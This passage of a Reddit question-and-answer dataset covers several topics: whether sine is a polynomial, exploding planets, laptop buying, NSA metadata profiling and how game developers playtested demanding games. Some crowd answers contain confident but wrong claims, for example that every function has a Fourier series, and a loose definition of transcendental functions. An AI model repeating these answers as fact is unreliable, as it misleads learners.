cosine both have a Taylor series on any interval (a,b), and both series have infinitely many non-zero terms. \n\n* If sine was equal to a polynomial (finitely many terms), then this would be a *different* Taylor series for sine (a polynomial can be viewed as an infinite series with only finitely many non-zero terms), contradicting the first fact. Same with cosine.\n\n^\\*: ^It's ^maybe ^worth ^noting ^that ^there ^can ^be ^different ^polynomial ^*approximations* ^to ^a ^function ^on ^an ^interval ^\\(i.e. ^distinct ^polynomials ^that ^are ^(*close*) ^to ^the ^original ^function\\), ^but ^no ^two ^distinct ^polynomials ^\\(infinite ^or ^otherwise\\) ^can ^be ^*equal* ^to ^the ^function.", "As many others have pointed out, an infinite Taylor Series is equal to the functions of sine and cosine.\n\nHowever, it may be interesting to note that any polynomial (in fact any function at all) can also uniquely be represented by an infinite series of sine or cosine terms with varying periods, also called a [Fourier Series](_URL_0_).", "The other commenters have said anything I could say already, but I thought I'd add in this link for visualization purposes:  \n\n_URL_0_\n\nThat will make Wolfram|Alpha graph the Taylor series approximation of sin(x) to a certain degree, and also plot sin(x) for comparison.  To make the Taylor approximation more accurate, just increase the \"3\" in the equation.  It will calculate the first \"3\" (Or whatever you make it) terms of the Taylor series for sin(x).  You'll see it gets extremely accurate for small x, and its range of accuracy increases as the number of terms do.  By the time you add 14 terms, you can't even tell the difference anymore in the graph.  ", "Applying calculus principles, you can use infinite series that equal the trigonometric functions. You can use a finite sum of these series to approximate values of the trig functions. I haven't used these in a few years, but a practicing mathematician or engineer would know the series formulae.", "A neat trick that's related to this sort of thing, but it only works for sine I believe.\n\nAssuming you're working in radians, sinx ~= x gets more and more accurate as x gets smaller.  This actually is surprisingly accurate, for example:\n\nsin(0.3) = 0.2955\n\nsin(0.1) =  0.0998\n\nsin(0.05) = 0.04997\n\nsin(0.01) = 0.0099998\n\nAnd it gets more and more accurate from there.  As a rule of thumb, unless you're doing something really precise, you can estimate sin x = x for x's smaller than about .3ish. (Assuming you're in radians)\n\nP.S. Your physics profs are more likely to be cool with this sort of thing than your math profs.  \n\n", "Finally my Linear Algebra 2 class will pay off!\n\nMany of you offer that the Taylor Series representation is the closest approximation to a trig function when in fact there is one that is EVEN closer!\nWARNING VERY ADVANCED MATH AHEAD!\n\nHere's our goal: We are going to find a polynomial approximation to the sine function by using Inner Products. The Theorems used are long and require some background knowledge, if you are interested PM me.\n\nHere we go: Let *v* in *C*[-\u03c0,\u03c0] be the function defined by *v(x)*= sin x. Let *U* denote the subspace of *C*[-\u03c0,\u03c0] consisting of the polynomials with real coefficients and degree at most 5. Our problem can now be reformulated as follows: find *u* in *U* such that ||*v-u*|| is as small as possible. \n\nTo compute the solution to our approximation problem, first apply the Gram-Schmidt procedure to the basis (1 ,*x,x^2 ,x^3 ,x^4 ,x^5*) of *U*, producing an orthonormal basis (*e1,e2,e3,e4,e5,e6*) of *U*. \n\nThen, again using the inner product given:  < *f,g* > = the integral from -\u03c0 to \u03c0 of *f(x)g(x)dx*, compute *Puv* by using:\n*Puv*=  < *v,e1* > *e1*+...+ < *v,en* > *en*.\n\nDoing this computation shows that *Puv* is the function:\n0.987862*x*-0.155271*x^3*+0.00564312*x^5*\n\nGraph that and set your calculator to the interval [-\u03c0,\u03c0] and it should be almost EXACT!\n\nThis is only an approximation on a certain interval ([-\u03c0,\u03c0]). But the thing that makes this MORE accurate than a Taylor Series expansion is that this way uses an incredibly accurate computation called Inner Products. \n\nPM me any questions on this I am an undergrad student and I have a very good understanding of Linear Algebra.\n\nEdit: the Taylor Series expansion x-x3 /6 + x5 /120. Graph that on [-\u03c0,\u03c0] and you will notice the the Taylor Series isn't so accurate. For example look at x=3 our approximation estimates sin 3 with an error of 0.001 but the Taylor Series has an error of 0.4. So the Taylor Series expansion is hundreds of times larger than our error estimation!", "It's an infinite polynomial. But there is a transform that converts it to an imaginary exponential form.\n\ncos(x) = (1/2)[exp(ix) + exp(-ix)]\n\nsin(x) = (1/2i)[exp(ix) - exp(-ix)]\n\nFrom a basic math point of view, cosine and sine have an infinite number of roots. Therefore, whatever polynomial represents these trig functions will also have an infinite number roots. And that's why we have the Taylor series.", "No, trigonometric functions are examples of transcendental functions, which not only can not be written as polynomials, but are also not solutions to polynomial equations. \n\nThe closest thing to what you ask for is a Taylor series, which is a kind of infinite polynomial. We have\n\nsin(x) = x - x^3 / 3! + x^5 / 5! - x^7 / 7! + x^9 / 9! - ... \n\ncos(x) = 1 - x^2 /2! + x^4 / 4! - x^6 / 6! + x^8 / 8! - ... \n\n(here n! as usual is the product of the first n natural numbers)\n\nGenerally when you have a series representation, there are some limits on what x can be, but for these two x can be anything. You can derive these formulas yourself using\n\ne^x = 1 + x + x^2 / 2! + x^3 / 3! + x^4 / 4! + ...\n\nand the fact that e^ix = cos(x) + i sin(x).\n\nJust substitute ix for x in the formula for e^x, and group the resulting real and imaginary terms on the right hand side together. The real part will be the series expansion of cos(x), the imaginary part will be the that of sin(x).\n\nYou can see from these series expansions that there can be no polynomial expression for cos(x) and sin(x). If there were, that polynomial would have to equal the series expansion, which is impossible.\n\nNot just the basic trig functions, but all the rest, such as tan(x), cot(x), their inverses, and even their hyperbolic versions are all transcendental. This is one reason why we give them special names.", "I'm surprised no one mentioned parametric methods to represent functions, and rational forms. While more powerful than polynomials, they let you represent (not just approximate) transcendental functions using just finite algebraic expressions. see _URL_0_ for instance.", "You know how you can factor the polynomials by their zeros like how you can write p(x)=x^(2)-3x+2=(x-1)(x-2)? well the sin function has infinite zeros so if you had a polynomial if you were to factor it you would end up with infinite factors, Euler just assumed he could, basically he factorized the zeros of the function sin(x)/x ending up with an infinite product, he used this to calculate the sum of 1/n^(2)=pi^(2)/6 it was 100 years after he calculated this value that it was shown he could actually do this by Weirestras you can read more about it here _URL_0_ on the section Eulers approach.", "Nope, thats the definition of a transcendental function. A function that cant be expressed as a finite degree polynomial.\n\nThe best you can do is approximate using taylor aeries.\n\nLook up taylor series if you have calculus under your belt. If not, learn calculus then come back to this question.", "Forget all the dribble about Taylor series. Taylor series are local properties: they make sense in an asymptotically small neighborhood of a point. I don't think that's what you are after.\n\nFunctions like cosine and sine have a much more powerful property: they are [analytic](_URL_0_), meaning that they are the limit of a power series. Intuitively speaking, they are a kind of \"infinite-degree polynomials\". Thanks to that property, you can do a bunch of algebra and calculus with them (almost) as easily as if they were polynomials.\n\nSo trig functions are almost as \"regular\" or \"well-behaved\" as polynomials, with the exception that they don't have a null finite-n-th derivative.", "No!\n Polynomials have the important property that they have at most as many roots as its degree. Sin(x) has infinity roots, so it cannot be a polynomial. Another thing is that if it were a polynomial, you could differentiate it up to degree n times and get the zero function! The second property is better for seeing that it cannot be agree with a polynomial even in any interval (a,b)", "Everyone here is trying to show that there is some silly construction that is a polynomial approximation for the Sin or Cos functions but as many of us in the thread are aware there isn't one.\n\nSo lets do the important step and prove one doesn't exist!  Now before anyone gets on me for being inexact this is a \"hand wavey\" proof just to get the idea out there.\n\nSo what do we know about the end behavior of polynomials?  Eventually no matter how many terms they have to go off to Infinity of negative Infinity.  But now what about the end behavior of the Sin and Cos functions?  They continue to oscillate off into Infinity.  Now I think from this we can all see a problem with construction of a polynomial we will never be able to get the same end behavior.\n\nSide Note: The Taylor series expansion on the other hand isn't a polynomial because of the Infinite sum which allows it to get around my \"proof\" and it does equal the function if you where to evaluate it infinity.  Which if you can... I have some stuff I need computed. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Taylor_series"], [], ["http://en.wikipedia.org/wiki/Fourier_series"], ["http://www.wolframalpha.com/input/?i=graph+sum+from+n+%3D+1+to+3+of+%28-1%29^%28n+%2B+1%29+*+x^%282n+-+1%29+%2F+%282n+-+1%29!+and+sin%28x%29+for+-10+%3C+x+%3C+10"], [], [], [], [], [], ["http://www.cs.mtu.edu/~shene/COURSES/cs3621/NOTES/curves/rational.html"], ["http://en.wikipedia.org/wiki/Basel_problem"], [], ["http://en.wikipedia.org/wiki/Power_series#Analytic_functions"], [], []]}
{"q_id": "1puc9x", "title": "Is is possible for a planet to explode?", "selftext": "Stars can go supernova but can something similar happen with a planet like with Superman and Krypton. Have there been any documented cases? What would cause that to happen?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1puc9x/is_is_possible_for_a_planet_to_explode/", "answers": {"a_id": ["cd6sujb"], "score": [2], "text": ["It's not possible for it to happen spontaneously if that's what you mean.  Even in the event of a massive collision that fragmented a planet, there would not likely be sufficient energy to cause the pieces to fly away from each other at sufficient velocity to prevent the planet re-coalescing from gravitational attraction.  \n\nBasically you could reduce a planet to rubble but it would most likely just come back together into a new rocky planet.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cvx73e", "title": "what to look for when buying a laptop?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cvx73e/eli5_what_to_look_for_when_buying_a_laptop/", "answers": {"a_id": ["ey71j55"], "score": [2], "text": ["Hey, so this is much simpler than people make it seem, I promise. First, let's examine some terms: processing speed, RAM, hard drive, video card.\n\nSo, first, you want a PC, that's an easy one. Just go to any computer selling site and select \"Windows\", to start narrowing your options.\n\nNext you want fast, that's where you select RAM. You want at least 8GB of RAM (usually). That's essentially the stuff the computer uses to think, so you want as much as possible. 12GB is great, 16GB is even better, you get the idea. The more \"brain power\" the better.\n\nThen we move to the second part of speed, which is the processor. So, the faster it is, the higher the number. Think of this like the number of things you're computer can tackle at once, and how quickly. So, they are measuring processing power in gigahertz or gHz. Same with RAM, the higher the number, the better. There are things you'll see like quad-core which just means the processing is split between equal cores that are linked together.\n\nFor things like 3D capable, HDMI input/output, you will look at the video card. You may have to look at reviews for these (sometimes called graphics cards).\n\nBatteries are just based on life cycle, so read reviews of the few you've narrowed it down to. \n\nLast thing is hard drive space, you'll want as much as you can afford. Most modern ones start at 1TB which is a good size. There are other things like solid-state drives and other things that they can list, but it's technically fine, it's just about how fast the computer can \"write\" things onto the hard drive, how fast it can save stuff, how much stuff it can save, etc.\n\nIf you just want some suggestions, let me know and I'll try to get you a couple that fit your criteria. But this should help you narrow down your search on Amazon or Newegg or eBay."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3sdn7r", "title": "how the nsa creates profiles for different individuals.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3sdn7r/eli5_how_the_nsa_creates_profiles_for_different/", "answers": {"a_id": ["cwwed37", "cwx3ld2"], "score": [7, 5], "text": ["This is an unanswerable question, because it is classified and varies between programs.  Very broadly, it's a shit ton of unbelievably sophisticated [machine learning](_URL_0_) and [graph theory](_URL_1_) applications (among other areas).\n\nTake, for example, the phone metadata program.  It is trying to identify suspicious individuals.  Ultimately, it is looking for patterns that may indicate suspicious behavior.  Someone who is receiving calls from someone who is believed to be a terrorist is connected to that person in some way, and may also be involved.  Someone who makes frequent calls to the middle east might draw suspicion.  Someone making regular calls at the same time every week to the same person might draw suspicion.  This is an incredibly simplistic, speculative, and honestly probably inaccurate description of how the system works, but I think it gives you the idea.", "/u/a_red_door is wrong in saying that it's unanswerable, but both he and /u/AGhostFromThePast have given some good info. One thing they haven't touched upon is Social Topology. I know for a fact that it is used, as well as the general stuff of how it works. This is the process they use to identify probable terrorists, or people who may be connected to terrorists by up to 3 degrees.\n\n**TLDR: One of the ways they generate a profile is through mapping social networks**\n\nBasically, think of your group of friends as a spiderweb. Each person represents a point of intersection, and when two people know each other, there's a line connecting the two points. So now there's a network of points in space that are all connected in different ways.\n\nThe next level is the layers of the social network, so like. I'm friends with John and Jenny. I mainly communicate with John by phone and facbeook (both groups willingly fork their data over), and Jenny by twitter, facebook, and instagram. We can visualize the difference in connections pretty simply. John and I are connected by a green line (phones) and a blue line (facebook) that are intertwined, while Jenny and I are connected by a blue line, a red line (twitter), and a grey line (IG).\n\nNext step, let's talk about network strength. So you have a bunch of friends, and you are connected by all these lines, but how important are those connections? Well, things like call duration, text length (and sometimes content), frequency, facebook likes, facebook groups are all ways to judge that. The guys at the NSA will develop an algorithm that finds a way to weight them in a way that we can compare the blue line to the green line quickly, or the lines between me and John with the lines between me and Jenny. This is where the machine learning part starts.\n\nThe NSA will have a list of people who are known to be terrorists, and all their social topology mapping. The computer will take in all that information, develop a system of weights for all the characteristics that it deems important (look up feature selection to understand this better), and uses this information to develop a way of filling in missing data. This is the crucial part.\n\nLet's say that the NSA wants to study the relationship between me and Jenny, and how it relates to other relationships between people. They see the \"strength\" of the lines between us, and the computer sees that people who tend to have the style of communication that we have on twitter, also tend to have the same style of communication that we have on IG, even though the two are inherently different. The computer will use that inference to try to say that if two people have one of the two relationships, and we don't have data on the third for some reason, we can just fill in that data with the implied metadata.\n\nHere's the cool part. The computer will also notice that multiple connected people who are terrorists will have a certain shape to their network. By shape, I mean that it's clearly a loop (all of these people are connected to each other, or are connected to a central person), the lines connecting them and the strength of the network fit certain archetypes for network structure. It uses these tendencies to pick out groups of people that look like terrorist groups, and people that represent focal points of groups.\n\nOne of the inherent problems is that terrorists don't have like, a facebook group for all their terrorist friends, or even much use of social media at all. Terrorists (the smart ones) know about how these programs work, it's reasonably public if you take the time to hunt around. So they discourage the sort of behavior that would generate *hard data* about their activities. However, they have to communicate somehow. This is where *metadata* comes in to the picture, because it's much harder to conceal or obfuscate.\n\nIf you want to learn more about how to use metadata to draw those types of conclusions, someone did an incredible article on tracking Paul Revere's midnight ride using *only metadata recorded in the 1770s* which is [here](_URL_0_).\n\nThe book THE TIPPING POINT by Malcolm Gladwell has a lot of exposition on the different roles that people play in a social network, which gives a good understanding of what kinds of things people look for."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Machine_learning", "https://en.wikipedia.org/wiki/Graph_theory"], ["http://kieranhealy.org/blog/archives/2013/06/09/using-metadata-to-find-paul-revere/"]]}
{"q_id": "8by5l4", "title": "how were old game developers able to playtest their games if the games were far beyond current technological capabilities?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8by5l4/eli5_how_were_old_game_developers_able_to/", "answers": {"a_id": ["dxak550", "dxakfsr", "dxakh8p", "dxap54f", "dxavcwy", "dxavojg", "dxaxqxa", "dxayb4f", "dxazw61", "dxb1385", "dxb2amv", "dxb2ub8", "dxb2z4r", "dxb3bby", "dxb3d78", "dxb3zlc", "dxb4pcc", "dxb54ma", "dxb573v", "dxb6ai6", "dxb6k26", "dxb6mkr", "dxb6z10", "dxbbfek", "dxbbk4h", "dxbbuwo", "dxbcdgc", "dxbcwpj", "dxbepsr", "dxbf0rj", "dxbgg12", "dxbk46v", "dxbmubn", "dxbn2jg"], "score": [2112, 160, 30, 8, 19, 53, 15, 480, 33, 6, 40, 3, 2, 3, 2, 2, 2, 7, 3, 5, 4, 2, 12, 3, 5, 3, 3, 10, 2, 4, 2, 2, 2, 2], "text": ["The gaming industry and the hardware manufacturers work hand in hand in some ways.\n\nWhen you develop new hardware and want it to gain market shares, one of the easiest tricks is to make sure that there are products that actually need it.\n\nFor a graphics board, the trick is to make the prototype available for developers of graphics heavy software. CAD engine developers. Video editing developers. And, of course, game developers.\n\nMaking a decent game can take years. But when it is released it's mysteriously having full support for a super-groundbreaking graphics board that has also been developed for years already, that does things none of the competitors have ever been able to before.\n\nThat kind of thing is not really a mystery. The hardware developer wants the game to help with sales, so they have bene at the developer studio several times with prototypes, made sure the game runs smooth on the hardware and have made sure to plan the release with when the game comes out. Because they both benefit from helping each other.", "Game devs have high-end, cutting edge hardware - sometimes even pre-release stuff.  I was doing some database programming for a small (now defunct) game company **back in 2010** and my desktop (not even the machine the database was running on) had 24GB of RAM, a top-of-the-line i7 and some top of the line (GTX \\*80) graphics card.  Some of the devs had even *beefier* machines and this *was not* a AAA game title.\n\nBeyond that, you can do a lot of testing against the game with graphics settings turned down to low.  Other testing can be done while expecting shit frame rates.  Once the game is finished, if it's a long development cycle, and the hardware you want to target is available, you can do some final testing but the majority of the work has been completed by that point  &  you're just polishing things.\n\nFor consoles, you will often see development machines that have the power of the final machine but are *far* more expensive than the final device will be.", "Game developers can eventually hide different parts for testing which would lower the load to cpu/gpu.", "Short answer: game developers make the best game they can for the best hardware at the time, knowing the rest of the world will eventually catch up.  So as it is being built, only their top-end machines can run it, but by the time of release and shortly after, many people can run it or are willing to upgrade.", "Commercial hardware for professionals, at least historically, was usually way better than the consumer level hardware at greatly increased cost.  For example, SouthPark was originally created on $40,000 workstations and years later was done with off-the-shelf iMacs.", "Just a quick thing here, pertaining to the last part of your question: Open betas were not as common in the past as they are now. Most games were released without \"open betas\" or \"early access.\" They just released completed games, and would release patches to fix any glaring problems. Betas and quality assurance testing were done in-house.", "You can test it in parts. Even if turning on hairworks in the full game would be too heavy for the machines during early development, they could disable everything in the game except the character's head, then test just hairworks and nothing else. If it works, it'll probably still work after turning on all the other things in the game.\n\nFurthermore, you don't need 60, or even 30 fps to test if a level is possible to complete. The game developers can change the rules during test play. Even if you have to play a first person shooter at 10 fps during testing, you could just make a build where enemies can't hurt you, just to test if it's possible to move your character from the start of the level to the end of it without getting stuck, or having the game crash.\n\nYou don't need a fully populated map of 100+ enemies to test if a weapon works correctly, or animates correctly, you only need a single character with the weapon in hand, aiming at a target that is just a cross on a white wall.\n\nDespite the crysis memes in the PC gaming community, crysis was fully playable on a mid-end card when it came out. The game did however come with a lot of extreme graphics settings (and even more were patched in long after the game's initial release) that most players wouldn't have a fun time using. It became popular as a benchmark precisely because of this. No matter how powerful a new piece of hardware was, chances were you could throw crysis at it and still have it struggle, allowing you to figure out what its limitations were.", "I'm a graphics developer for a big studio. We have very high end hardware for dev machines. My current machine is a 48 core dual xeon @ 2.5ghz, with a 1080ti and a Vega 64 so i can test both manufacturers. Not the best for gaming (lower clock speed) but great for compiling! QA will have faster clock speed machines that resemble consumer hardware, as well as more niche hardware setups like SLI / Crossfire. So the game normally runs fine on our machines. \n\nWe also do something akin to future proofing. Lets say the game is using 2K shadow maps and runs fine. We decide to up the shadow map resolution to 4K and we get perf hits. We can verify that the scene still looks correct, as it's a perf problem not a visual one. We may leave the option in there as video cards will eventually be able to run the 4K shadow map without issues. \n\nRendering algorithms are also highly parametric. Number of samples for a blur, how many lights we allow, how many marches for a ray march, texture resolution and anisotroic sample counts. We may expose these parameters without fully testing them. Hey they work for N, they work for N+1, they should work for N+2! Mostly because it's pretty much impossible to every configuration matrix possible.", " >  Another meme in the PC gaming community is Crysis and if a computer could play it.  \n\n\n\nIt's a meme. Nothing more.  \nCrysis was very demanding on its highest settings. But it was also not very demanding on its low and medium settings", "\"Bro, we have this engine that is running terrible. You guys have any videocards that might be coming out soon that we could get our hands on early? Aw thanks man. Oh yeah sure we'll put Nvidia on the front of the cover no problem.\"", "Short answers:\n\n1) You can do lots of development with a bad framerate. Most of what you need to do doesn't require the game to be running well, and most bugs will occur independent of framerate.\n\n2) If performance really is crappy (like with a debug build, or when optimization is needed), you can just drop the graphics quality and resolution until it isn't.\n\n3) You give nice machines to the devs that need them.\n\n4) You cheat the situation if you have to, like working on combat in a level that is just a grey plane with bad guys standing on it. That way your machine isn't busy rendering trees and stuff that drag performance down.", "They make sure to have a rig that can actually run the game. Larger devs have deals with various hardware manufacturers where they're supplied with the latest hardware in exchange for publicity ir various forms (like the \"runs best on nvidia\" load screen).\n\nAnother thing I think is important to realize is that how demanding a game is often is exaggerated. Witcher three for example. My gtx 980 powered rig ran it just fine with hairworks enabled. The 980 had been out about a year when the game was released.\n\nMany players will complain about bad performance as soon as they go below 60 fps, but keep in mind that a game is fully playable/testable at much lower frame rate. ", "Part of that is hyperbole.  All games are playable with the latest and greatest hardware of their age, it is just that some required more recent hardware than others.  It would be like a game today running on a GeForce 1080, but not a 1070.\n\nAlso, a lot of those games only faced problems when running on the highest graphics settings.  Most of the game can be tested on lower settings on lower resolutions.  And even problems with those settings can mostly be tested selectively, like by using 1200x1024 at the highest settings, then 1920x1600 at lower settings.", "Your examples are nothing that was ahead of technology.. Your question doesn't make sense. They use the available hardware to design the product. The first step of any software development cycle is to get it working properly on your pc.", "Of course they had hardware powerful enough to run their games. They simply used beefier hardware than the average casual computer owner. They could also playtest using lower resolution, lower framerate, individual scenes, reduced objects, depending on what aspect of the game they were testing at a given time.\n\nThere hasn't been a time where the hardware to run a program didn't exist. You're confusing the average PC with \"current technological capabilities\" when in fact the standard off the shelf home PC is a mere fraction of what is technologically possible. Check out a professional gaming rig sometime. It has top of the line graphics, large amounts of high speed memory, superfast SSD drives, overclocked high end multicore CPUs, with high efficiency cooling systems, and they absolutely have no problem playing Witcher 3 or Crysis. They're also in the mid thousands range, well above a midrange Dell from Best Buy. ", "As people have noted, game developers can write off very expensive purchases of bleeding edge equipment that often has overkill specs.  While a consumer might have trouble justifying the expense, businesses just view it as standard practice.\n\nThe other part of the equation is that often developers have ways to turn features on/off, either when they release a build or as an in-game debug mode.  So, for instance, if a particular graphic option isn't working well, force it to disabled in the open/closed beta so players don't even have a chance of it affecting their gameplay.  This can help developers to get good feedback on the portions they are concentrating on, but may also hide problems in portions that still need to be worked on.\n\nSource: Worked in QA and Game development", "Game development has never been far beyond current technologies. At times they are developed in parallel so that the new tech is going to open market with the game that utilizes it, but the games are not made before the tech has been developed, just before it has been mass produced. ", "Not sure why you aren't getting the actual ELI5 for this because the answer is really simple.\n\nThe answer is that your premise is wrong. It is very rare/doesn't happen that developers would develop a game so beyond current capabilities that they couldn't playtest it properly.\n\nYour examples like The Witcher 3 and Crysis were certainly challenging games to hardware at the time and for a while after, but even before launch you could easily play each with a high end machine, we're talking a new build worth around $2k. And if you turn down certain costly graphical settings like the hair physics, the performance demand is reduced considerably. At launch even people with medium-tier computers could play Crysis (in fact Crysis was shockingly optimized for the time, the engine was really really well put together and took much better advantage of things like SLI/XFire or CPU multithreading), they just couldn't max it out.\n\nSo the answer is that the question itself is wrong, developers never had this issue, it's just a meme born from the gaming community's attitude that you're not really playing a game unless it's maxed out and running 60FPS.", "I think this has mostly been answered for modern development however this question would be more intriguing back in the days of vintage 8 bit and 16 bit consoles. They didn't *have* toolkits, SDKs, and engines to run their games in or test efficiently. I'd be interested in learning how those games, typically developed in Assembly, and used low-level keywords that accessed raw memory or low-level CPU functions, how gaming companies of the time were able to design an efficient game and how their software lifecycle went down. ", "Wow, this comment shows just how much the gaming industry has forced the idea of early access and it's \"benefits\" down the throat of gamers.\n\nHow did they test it?  They payed people to.\n\nAlso, The witcher 3 and crysis aren't really \"old\" games.  And could have still very easily play tested using the beta method.\n\nHow?  People turned the settings down, or off.", "So there is definitely an answer to your question, but it may not be what you're looking for.\n\nThe question itself makes some false assumptions, like that no computers could play Crysis on release. As an aside, I came here expecting a discussion on 'old' games, not games that were made within the last decade :P\n\nIn any case, especially on PC, all of these games were 'playable' on release (and before release, by the devs), on currently available hardware. It's true that Crysis pushed the limits of what was available graphically, and in fact had some settings that wouldn't run smooth on then-modern hardware, but that doesn't mean the games couldn't be played or tested. Typically, turning the graphics down from ULTRA HARDCORE to High or Medium doesn't introduce systems bugs or gameplay issues, so even a game that won't run smoothly at its highest setting can be reasonable tested.\n\nAs for open betas - sure, they existed and have existed for a long time, but typically AAA titles have rarely had true open betas (true betas that exist for playtesting more than marketing), so I'm not sure what impact this would have.\n\nJust as a final note - I wouldn't trust 'meme' culture to inform me on anything, and you probably shouldn't either - even games. It's true that a lot of machines couldn't run Crysis (well) at release, including mine, but games like that would and did run on available hardware. ", "The game runs fine on older computer for the most part, it's the graphics rendering that causes issues for those games. \n\nIn computer graphics there are a lot of things that can be done to generate various effects... some of them give great results but take alot of processing power... some of them give medeocore results but use very little processing power. For some effects, the longer you process it the better it looks... so you can stop early for a faster, less graphically impressive image... or keep going for better graphics with worse performance.\n\n A lot of times these various effects can be configured individually. So, a developer on a potato who isn't working on any of the graphics code can turn off all the special effects and run smoothly. Or, if they are using a potato and also working on the graphics they can turn off all the other graphics effects so the only processing intensive effect they are processing is the one they are working on.\n\nSome techniques scale well with GPU power... for example there are algorithms that allow a model to use a low poly count model at a far distance, and as the model approaches the player the poly count increases... this way less work is done on details that won't be noticed at distance.. but look crisp up close. It is very easy to add an upper limit based on detected processing power to the maximum poly count to allow a model to utilize. So.. on the potato machine the model might stop getting more detailed once it hits... say 70% of it's polys... but when maxxing gpu settings it goes to 100% poly count.\n\nBasically, you don't have to run the game at it's highest settings to be able to write the game.", "Worked in the game industry for a bit. We would get proprietary hardware that wasn't released to the public yet to test with. It was under strict lock and key. Once, a system disappeared and ended up on ebay. Someone went to jail over it. \n\nTesting would include a range of systems from the best (unreleased) to very low end. Always felt bad for people stuck on the low end machines. They always found the most issues but it was an exercise in frustration, for sure.", "One of the biggest issues with a new game is that drawing the frames would take too long on current hardware. So the developers would simply have a low-resolution version of the game to test with. In fact, the first game I worked on back in 1990 had to work in 7 different graphics mode and one of them was ASCII mode which would run on anything.\n\nTempest from Atari Games is a great example of what many developers did and what happened when the hardware did not catch up the designers vision before the game had to ship. The original vision for Tempest was to have actual monsters (not use the geometric patterns) coming after you. They made the game using what they could draw which was just the pieces you see in the game. ", "The games are not beyond the current technological capabilities. They simply require the bleeding edge best hardware in order to run the highest graphics settings at a good frame rate. \n\nIn the past the biggest issue with this was that nobody really made really high end gaming PCs that you could just buy from the store. Alienware was one of the only companies that built gaming PCs, and they were mid-range at best, and extremely overpriced. So you had to build your own. Add to that high end hardware is expensive. So you have a technical as well as a financial barrier to actually even get a high end gaming PC. So at the time there would be very few people who would even have the means to run those games maxed if they wanted to. Then consider most of the people who could both afford it, and had the knowledge to do it, were older nerds who might not have much time for games anymore...\n\nSo what you have is a market where real high end gaming PCs are extremely rare, and pretty much out of the question for your typical gamer. Because of that many people might say that those games are beyond the current tech, even many games journalists might make a reference about those games being designed for the next gen, but they are fully capable of running on the current gen hardware, given that you could afford it and build your own system.", "I can't follow. You're implying that \"in the olden times\", game developers made games which would have been far ahead of their times and only suitable for top of the line PCs? This wasn't the case :)\n\nGame devs usually code for the lowest-common denominator, so a that a game will run on as many as is reasonable PCs. (With very few exceptions).\n\nIt is reasonable to think that any \"sane\" game devs/developers plan their games in such a way that they can assume that their games, when finished, can also be played by many. \n\nIn such cases where it can be expected that making a game might take a very long time (maybe where they start developing but think the game will be ready only in some years), I can see devs testing on the \"best\" high-tech hardware that's available at a given time, since they can assume that the best and most powerful PCs they are using to develop and test their games may be common and affordable when the game is done.\n\nSay, I could make a game now developing on and for a 1080 TI or better GPU. Now, not many have such a powerful GPU, but in 2-3 years I can expect the game to work for most people since most will have a GPU that is like an 1080TI or better.", " >  Another meme in the PC gaming community is Crysis and if a computer could play it.\n\nHuh, I didn't know about this since I'm not a PC gamer.  \n\nBack at that time I was a manager for a QA group at EA.  Our project had been delayed so we put the call out to see if we could help any other projects.  We heard back from the team working on Crysis that they could used some additional coverage.  \n\nThen they sent us the min spec and the recommended spec.  Nobody on the team had the min spec (our project was a console game so we didn't need great PCs).  We asked around the (very large) studio and only a handful of PCs could run the game at all, and those were needed for the developers.\n\nSo we never got to help test Crysis.", "Because a lot of computer graphics details really are as simple as swapping out a smaller number for a bigger number.\n\nWhen artists make textures and models, the 'raw' images are incredibly detailed. These detailed products are then sent through algorithms to reduce the poly count, remove details, apply compression, and make it have less of a performance impact. If they want to make their game look prettier they can just put in the option to use less compressed textures and higher-res models. Generally for many of these settings, you can probably assume that if the game runs with *x*, it could probably run with the next higher iteration of *x*. They may run it to see if there's anything crazy causing a crash but likely won't regard performance hits.\n\n**EDIT:** Just saw what /u/KazumaID said. ", "As a former SNES programmer I can tell you we had testing departments that manually went through everything, trying every permutation of what you could do in a game.  There were no automated tests back then.", "How old do you have in mind? I'm a game producer from back in the '90s, and it wasn't FPS that we were primarily concerned with but, rather, polygon count, so we would work with 3D acceleration manufacturers like Voodoo, Rendition, and Creative Labs to get our games working on them. They'd supply us with free hardware for our developers and our QA. Even non-3D games, Diamond and ATI, for example, would send us hardware upon request.", "The real, and simple, answer is because most of the \"future proof\" settings that make a game too hard to run with contemporary hardware simply do not need to be tested by their nature.\n\nAn example someone gave was 4k vs 2k shadow maps... modern hardware might not run well with the 4k maps but that's not something that needs to be tested at all, it is what it is, a higher res texture. Same thing with a lot of different settings changes that go into the \"ultimate\" or whatever graphics profile.", "In the beginning, there was tennis for two- a game played on the oscilloscope of scientific equipment. It was made by a nerd for his nerd friends in his work area. It's not that current technological capabilities where not there, rather they where- just needed the right geek to see the potential and devise a method of achieving a target \"feel\" with the tools provided. ", " >  ELI5: How were old game developers able to playtest their games if the games were far beyond current technological capabilities? [removed] If technology wasn't quite advanced enough to run them well, how were the developers able to make sure there were no bugs, and how did people play them, especially in open betas? Cheers, all.\n\nThe games were not beyond current technological capabilities, but they also weren't constrained to its limitations necessarily either.\n\nRunning \"well\" is not the same thing as running, period. Software developers don't need 4K 16xAA 120fps 3D to check if something loads or not, if it performs intended tasks, if there are bugs (unless it requires 4K 16xAA 120 fps 3D to test in which case they would have to, minimum, emulate the environment),  or anything else.\n\nEnd-users who participate in open testing (alpha and beta) are another matter; however, in context of your titular question they're immaterial, i.e. they're not developers - they are, best case, interns who don't know they're interns.\n\nAs for machines having a hard time, i.e. the \"But can it run Crysis?\" effect, that's also immaterial as already indicated above.\n\nAt the end of the day the only things a developer cannot really test is whether or not some technology they've implemented will work on whatever theoretical future tech it is intended to take advantage of. Otherwise it's all within current parameters.", "This is both a benefit and a curse, because if a vendor puts out a new piece of hardware users won't see the benefit unless applications explicitly support it.\n\nMany users were caught out by ATI/AMD's dual-GPU Radeon cards (Northern/Southern Islands) 6990/7990 in 2011-2012, because it was the first time DUAL-GPU single-board cards were released; as it turned out many video games simply idled the second GPU because it did not operate 